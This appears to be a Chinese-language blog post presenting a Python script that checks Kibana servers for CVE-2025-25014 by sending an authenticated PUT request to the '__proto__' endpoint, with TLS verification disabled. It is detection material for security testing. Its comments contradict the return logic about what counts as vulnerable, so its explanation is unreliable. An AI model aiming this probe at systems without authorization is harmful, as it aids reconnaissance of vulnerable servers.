
CVE-2025-25014 Kibana漏洞检测器
这是一个专门用于检测CVE-2025-25014漏洞的Python工具。该漏洞是Kibana中的一个严重原型污染漏洞,可导致远程代码执行(RCE),影响Kibana 8.3.0至8.17.5版本,以及8.18.0和9.0.0版本。本工具通过向Kibana的特定API端点发送精心构造的HTTP请求,验证目标系统是否存在该安全漏洞。
__proto__端点发送PUT请求检测原型污染漏洞最基本的检测命令格式:
python3 CVE-2025-25014.py https://target-kibana-server:5601 -u username -p password参数 | 简写 | 说明 | 必选 |
|---|---|---|---|
| - | 目标Kibana服务器的URL | 是 |
| -u | Kibana认证用户名 | 是 |
| -p | Kibana认证密码 | 是 |
| - | 代理服务器URL | 否 |
示例1:基础检测
python3 CVE-2025-25014.py https://192.168.1.100:5601 -u admin -p password123示例2:通过代理检测
python3 CVE-2025-25014.py https://kibana.company.com -u elastic -p securepass --proxy http://proxy-server:8080CVE-2025-25014是一个严重的原型污染漏洞,影响Kibana的Machine Learning和Reporting功能:
def check(url: str, auth: str, proxies: dict | None = None) -> bool:
"""
检测目标Kibana实例是否存在CVE-2025-25014漏洞
参数:
url: 目标Kibana的URL
auth: Basic认证字符串(base64编码)
proxies: 代理服务器配置字典
返回:
bool: True表示存在漏洞,False表示不存在漏洞
"""
# 构造目标URL,指向__proto__端点
url = urljoin(url, "__proto__")
# 设置请求头,包含认证信息和内容类型
headers = {
"Authorization": f"Basic {auth}", # Basic认证
"Content-Type": "application/json", # JSON格式请求体
"Connection": "close" # 请求后关闭连接
}
# 构造请求数据,模拟正常的索引映射创建请求
data = {
"mappings": {
"properties": {
"timestamp": {"type": "date"},
"test_field": {"type": "keyword"},
"by_field": {"type": "keyword"},
"value": {"type": "float"}
}
}
}
# 发送PUT请求到目标端点
response = requests.put(
url,
headers=headers,
json=data,
verify=False, # 跳过SSL证书验证
proxies=proxies
)
# 检查响应状态码,正常情况应该返回400错误
if response.status_code != 400:
return False
# 检查响应内容是否包含特定错误信息
# 如果包含'Invalid index name [__proto__]'说明系统正确处理了恶意请求
if '"reason":"Invalid index name [__proto__]' not in response.text:
return False
# 只有同时满足上述两个条件才判断为不存在漏洞
return Trueif __name__ == "__main__":
"""
主程序入口点,处理命令行参数并执行漏洞检测
"""
# 创建参数解析器,设置工具描述
parser = argparse.ArgumentParser(description='Check Kibana vulnerability')
# 定义必需参数
parser.add_argument('url', help='Target Kibana URL (https://ip:port)')
parser.add_argument('-u', '--user', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', required=True, help='Password for authentication')
parser.add_argument('--proxy', help='Proxy URL (optional)') # 可选代理参数
# 解析命令行参数
args = parser.parse_args()
# 将用户名和密码编码为Basic认证格式
basic_auth = b64encode(f"{args.user}:{args.password}".encode()).decode()
# 配置代理设置(如果提供了代理参数)
proxies_dict = None
if args.proxy:
proxies_dict = {
'http': args.proxy,
'https': args.proxy
}
# 执行漏洞检测并输出结果
if check(args.url, basic_auth, proxies=proxies_dict):
# 使用红色文字输出漏洞存在警告
print("\033[91mTarget is vulnerable\033[0m")
else:
# 正常输出无漏洞信息
print("Target is not vulnerable")import argparse
from urllib.parse import urljoin
from base64 import b64encode
import requests
import urllib3
# 禁用SSL警告,避免证书验证干扰输出
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)安全说明:本工具仅用于授权的安全测试和教育目的。禁止未经授权对任何系统进行测试。使用前请确保已获得目标系统的测试授权。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPELBDEtksiPi2p7hvmwL/d
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。